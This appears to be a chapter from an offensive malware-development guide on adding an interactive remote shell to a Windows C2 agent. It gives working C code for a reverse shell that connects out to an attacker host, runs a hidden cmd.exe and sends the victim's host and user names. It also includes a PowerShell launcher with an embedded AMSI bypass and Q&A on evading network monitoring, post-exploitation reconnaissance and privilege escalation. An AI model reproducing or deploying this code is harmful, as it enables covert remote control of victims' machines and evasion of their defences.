Remote Interactive Shell
A remote shell gives the operator a live, interactive command prompt on the victim machine — the ability to run arbitrary commands, navigate the filesystem, launch processes, and interact with the target in real time. This is fundamentally different from the task-queue model (issue task → wait for next beacon → get result): a reverse shell is bidirectional and low-latency. This chapter covers the classic reverse shell, PTY-like output handling for interactive programs, and how to integrate shell access into the beacon-based C2 model.
Reverse Shell Implementation
/* reverse_shell.c — Full reverse shell with stdin/stdout/stderr redirection
Architecture: victim connects OUT to attacker (bypasses inbound firewall rules)
The agent calls connect() to the C2 server's shell listener port.
C2 server has a dedicated socket listening for shell connections.
We redirect cmd.exe's stdin/stdout/stderr to the socket.
*/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
/* Shell execution context */
typedef struct {
SOCKET shell_sock; /* Connection to C2 shell listener */
HANDLE stdin_read, stdin_write; /* Pipe for writing to cmd.exe's stdin */
HANDLE stdout_read, stdout_write; /* Pipe for reading cmd.exe's stdout/stderr */
PROCESS_INFORMATION proc_info;
BOOL running;
} ShellContext;
static ShellContext g_shell = {0};
/* Thread: read from cmd.exe stdout/stderr → send to operator over socket */
static DWORD WINAPI shell_output_thread(PVOID param) {
ShellContext *ctx = (ShellContext*)param;
BYTE buf[4096];
DWORD bytes_read = 0;
while (ctx->running) {
/* ReadFile from the pipe end connected to cmd.exe's stdout */
if (!ReadFile(ctx->stdout_read, buf, sizeof(buf)-1, &bytes_read, NULL)) {
if (GetLastError() == ERROR_BROKEN_PIPE) break; /* cmd.exe exited */
break;
}
if (bytes_read > 0) {
/* Send output to operator over the network socket */
int sent = 0;
while (sent < (int)bytes_read) {
int r = send(ctx->shell_sock, (char*)buf + sent, bytes_read - sent, 0);
if (r == SOCKET_ERROR) { ctx->running = FALSE; return 1; }
sent += r;
}
}
}
return 0;
}
/* Thread: receive from socket (operator's keystrokes) → write to cmd.exe stdin */
static DWORD WINAPI shell_input_thread(PVOID param) {
ShellContext *ctx = (ShellContext*)param;
char buf[4096];
while (ctx->running) {
int recvd = recv(ctx->shell_sock, buf, sizeof(buf), 0);
if (recvd <= 0) { ctx->running = FALSE; break; }
DWORD written = 0;
WriteFile(ctx->stdin_write, buf, recvd, &written, NULL);
}
return 0;
}
/* Launch cmd.exe with its stdin/stdout/stderr redirected to our pipes */
BOOL launch_shell_process(ShellContext *ctx) {
SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, TRUE}; /* Inheritable handles */
/* stdout/stderr pipe: cmd.exe writes here, we read from stdout_read */
if (!CreatePipe(&ctx->stdout_read, &ctx->stdout_write, &sa, 0)) return FALSE;
/* Make the read end non-inheritable (cmd.exe should only have the write end) */
SetHandleInformation(ctx->stdout_read, HANDLE_FLAG_INHERIT, 0);
/* stdin pipe: we write here, cmd.exe reads from stdin_read */
if (!CreatePipe(&ctx->stdin_read, &ctx->stdin_write, &sa, 0)) return FALSE;
SetHandleInformation(ctx->stdin_write, HANDLE_FLAG_INHERIT, 0);
STARTUPINFOA si = {sizeof(si)};
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = ctx->stdin_read;
si.hStdOutput = ctx->stdout_write;
si.hStdError = ctx->stdout_write; /* stderr → same pipe as stdout */
/* CREATE_NO_WINDOW: no visible console window appears on the victim desktop */
if (!CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE,
CREATE_NO_WINDOW, NULL, NULL, &si, &ctx->proc_info)) {
return FALSE;
}
/* Close write end of stdout pipe — cmd.exe has it, we don't need it */
CloseHandle(ctx->stdout_write);
ctx->stdout_write = NULL;
/* Close read end of stdin pipe — we have the write end */
CloseHandle(ctx->stdin_read);
ctx->stdin_read = NULL;
return TRUE;
}
/* Connect to C2 shell listener and start the reverse shell */
BOOL start_reverse_shell(const char *c2_host, WORD c2_port) {
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
g_shell.shell_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(c2_port),
.sin_addr.s_addr = inet_addr(c2_host)
};
if (connect(g_shell.shell_sock, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
closesocket(g_shell.shell_sock);
WSACleanup();
return FALSE;
}
if (!launch_shell_process(&g_shell)) {
closesocket(g_shell.shell_sock);
WSACleanup();
return FALSE;
}
g_shell.running = TRUE;
/* Banner: send hostname + username to operator so they know which session this is */
char banner[512];
char hostname[256] = {0}, username[256] = {0};
DWORD sz = sizeof(hostname); GetComputerNameExA(ComputerNameDnsFullyQualified, hostname, &sz);
sz = sizeof(username); GetUserNameA(username, &sz);
int n = snprintf(banner, sizeof(banner),
"\r\n[SHELL] %s\\%s\r\nMicrosoft Windows [shell connected]\r\n\r\n",
hostname, username);
send(g_shell.shell_sock, banner, n, 0);
/* Launch I/O threads */
CreateThread(NULL, 0, shell_output_thread, &g_shell, 0, NULL);
CreateThread(NULL, 0, shell_input_thread, &g_shell, 0, NULL);
/* Wait for shell to die */
WaitForSingleObject(g_shell.proc_info.hProcess, INFINITE);
g_shell.running = FALSE;
closesocket(g_shell.shell_sock);
WSACleanup();
return TRUE;
}
PowerShell Shell and AMSI Bypass Integration
/* Launch PowerShell instead of cmd.exe — more powerful but AMSI-monitored */
/*
* PowerShell provides more capabilities (net commands, AD queries, WMI, .NET)
* but invokes AMSI on every script block. Combine with Ch45's AMSI bypass.
*
* Strategy: Launch PowerShell, immediately send the AMSI bypass command,
* then the shell is ready for arbitrary PS commands.
*/
BOOL start_powershell_shell(ShellContext *ctx) {
STARTUPINFOA si = {sizeof(si)};
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = ctx->stdin_read;
si.hStdOutput = ctx->stdout_write;
si.hStdError = ctx->stdout_write;
/* -NoProfile -NonInteractive: faster launch, no profile script execution */
/* -ExecutionPolicy Bypass: don't check script signing policy */
return CreateProcessA(NULL,
"powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass",
NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &ctx->proc_info);
}
/* After shell connects, send AMSI bypass before any other commands */
void send_amsi_bypass(ShellContext *ctx) {
/* The reflection-based AMSI bypass from Ch45, encoded for safety */
const char *bypass =
"$a=[Ref].Assembly.GetType('System.Management.Auto'+'mation.Amsi'+'Utils');"
"$b=$a.GetField('amsiInit'+'Failed','NonPublic,Static');"
"$b.SetValue($null,$true)\r\n";
DWORD written;
WriteFile(ctx->stdin_write, bypass, (DWORD)strlen(bypass), &written, NULL);
Sleep(500); /* Wait for PS to process it */
}
Integrating Shell into Beacon-Based C2
MODEL 1: Task-based (beacon model, default)
─────────────────────────────────────────────────────────────────────────
Operator sends task: TASK_SHELL_EXEC with command "whoami /all"
Agent receives task at next beacon (30s delay)
Agent creates cmd /c "whoami /all", captures stdout/stderr
Agent returns result in next beacon response
Latency: 30-60 seconds per command (2 beacon windows minimum)
Detection: low — just a cmd.exe subprocess briefly, no persistent socket
Use for: one-off commands, automation, non-interactive operations
MODEL 2: Interactive shell (live socket)
─────────────────────────────────────────────────────────────────────────
Operator sends TASK_SHELL_START
Agent opens SEPARATE connection to C2 shell listener port
Bidirectional persistent socket: operator types, victim responds instantly
Latency: <1 second per command
Detection: persistent outbound connection (higher risk)
Use for: interactive exploration, privilege escalation workflows,
time-sensitive operations (user about to log off)
HYBRID (best practice):
• Default: task-based (model 1)
• Operator activates interactive shell for time-sensitive windows
• Interactive shell auto-closes after N minutes of inactivity
• Or: interactive shell over same HTTPS channel (no separate socket)
by implementing a "rapid beacon" mode: beacon every 1-2 seconds
during interactive session, with operator commands queued per-beaconQuestions & Answers
How does CREATE_NO_WINDOW prevent the shell from being visible, and are there edge cases?
CREATE_NO_WINDOW tells the Windows process manager not to create a console window for the new process. When cmd.exe starts with this flag, no black console window appears on the victim's desktop. The process still runs and produces output — it's just that the window handle (HWND) for the console is NULL. Edge cases: (1) If the cmd.exe process itself spawns child processes that create their own console windows, those won't inherit the CREATE_NO_WINDOW flag unless you explicitly set it for each child process. (2) Some processes override the window behavior. (3) Task Manager can still show "cmd.exe" in the process list — the window being hidden doesn't hide the process entry. Alternative to CREATE_NO_WINDOW: DETACHED_PROCESS creates a process completely detached from any console, suitable for long-running background processes. For a shell context, CREATE_NO_WINDOW is sufficient — you're redirecting stdin/stdout via pipes anyway, so the window would be empty even if visible.
How do you handle interactive programs that don't flush their output line-by-line (e.g., vim, python REPL)?
The fundamental problem: many terminal programs (vim, less, python interactive, ftp) use "raw mode" terminal I/O that sends characters without line buffering, expects cursor positioning, and relies on terminal escape sequences (ANSI codes). Pipes don't support this — they're byte streams with no concept of terminal capabilities. cmd.exe works fine because it's designed to output line-by-line. Solutions: (1) For the basic case, don't try to run interactive curses-style programs through a pipe shell — it won't work well. Only run line-output programs. (2) For a proper PTY (pseudo-terminal) experience: Windows 10 1809+ introduced ConPTY (CreatePseudoConsole). This creates a virtual terminal that programs like vim can talk to normally — it handles escape sequences, cursor positioning, and raw mode. The ConPTY output is then redirectable. Implement: CreatePseudoConsole(size, hInput, hOutput, 0, &hPC) → InitializeProcThreadAttributeList with PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE → CreateProcess. This gives a full PTY that supports all terminal programs. ConPTY is what Windows Terminal itself uses.
How do you prevent the interactive shell from being detected by network monitoring?
A persistent TCP connection from a workstation to an external IP on a custom port is immediately anomalous in monitored enterprise environments. Options: (1) Tunnel the shell over the existing C2 HTTPS channel: instead of a separate socket, implement a "streaming mode" where the shell's stdin/stdout are chunked and sent as regular HTTPS requests/responses. The agent sends output as HTTP POST bodies and receives input as HTTP response bodies. No new connections, uses the same domain-fronted C2 infrastructure. (2) Port 443 or 80: if you must use a raw socket, use standard web ports — port 443 outbound is almost universally allowed. (3) DNS tunneling for the shell: encode shell I/O in DNS TXT record queries and responses (Ch86 covers this). Very slow (~1 KB/s) but extremely hard to block. (4) Time-boxed connection: limit interactive shell sessions to <5 minutes and never reopen the same session — short-lived connections are less anomalous than persistent ones. The HTTPS-tunnel approach (option 1) is the professional answer — it's how Cobalt Strike Beacon implements its interactive shell.
What command do you run first when you get a shell, and why?
The standard first commands for an operator who just got a shell: (1) whoami /all — tells you the exact user account, SID, group memberships, and privileges. This immediately shows if you're a local admin, domain user, SYSTEM, or domain admin. Group memberships show access to resources. Privileges (SeDebugPrivilege, SeImpersonatePrivilege) show what escalation paths are available. (2) hostname — confirm which machine you're on (may not match what you expect if you got routed somewhere unexpected). (3) ipconfig /all — full network configuration including DNS servers (reveals internal DNS domain), DHCP server IP, subnet. (4) whoami /priv — specifically check for token privileges: SeImpersonatePrivilege means you can escalate to SYSTEM via potato attacks, SeBackupPrivilege enables reading any file, SeDebugPrivilege enables opening any process. These four commands take under 5 seconds and give you the complete picture needed to decide next actions. Automate them as the shell startup sequence so they run immediately on connection.
How do you implement command output streaming for long-running commands (ping, netcat-style tools)?
Long-running commands produce output incrementally — a ping with 100 packets produces one line per second over 100 seconds. With the pipe-based shell model, output arrives as soon as it's written to cmd.exe's stdout. The ReadFile call in shell_output_thread blocks until data is available, then immediately sends whatever it got. This creates natural streaming — the operator sees each ping response as it arrives, not all 100 at once at the end. The critical implementation detail: cmd.exe buffers its output internally (standard C library stdio buffering). When you run "ping target" and pipe the output, each line is flushed immediately because ping uses line buffering. If you run a program that buffers in 4096-byte blocks (many C programs), you might see long pauses then a burst. You can't control the child process's buffering from outside. Mitigation: use "cmd /c program | more" — the "more" pager forces line-by-line output. Or redirect through PowerShell's Out-String -Stream. For your own code running in the shell context: always fflush(stdout) after each output line.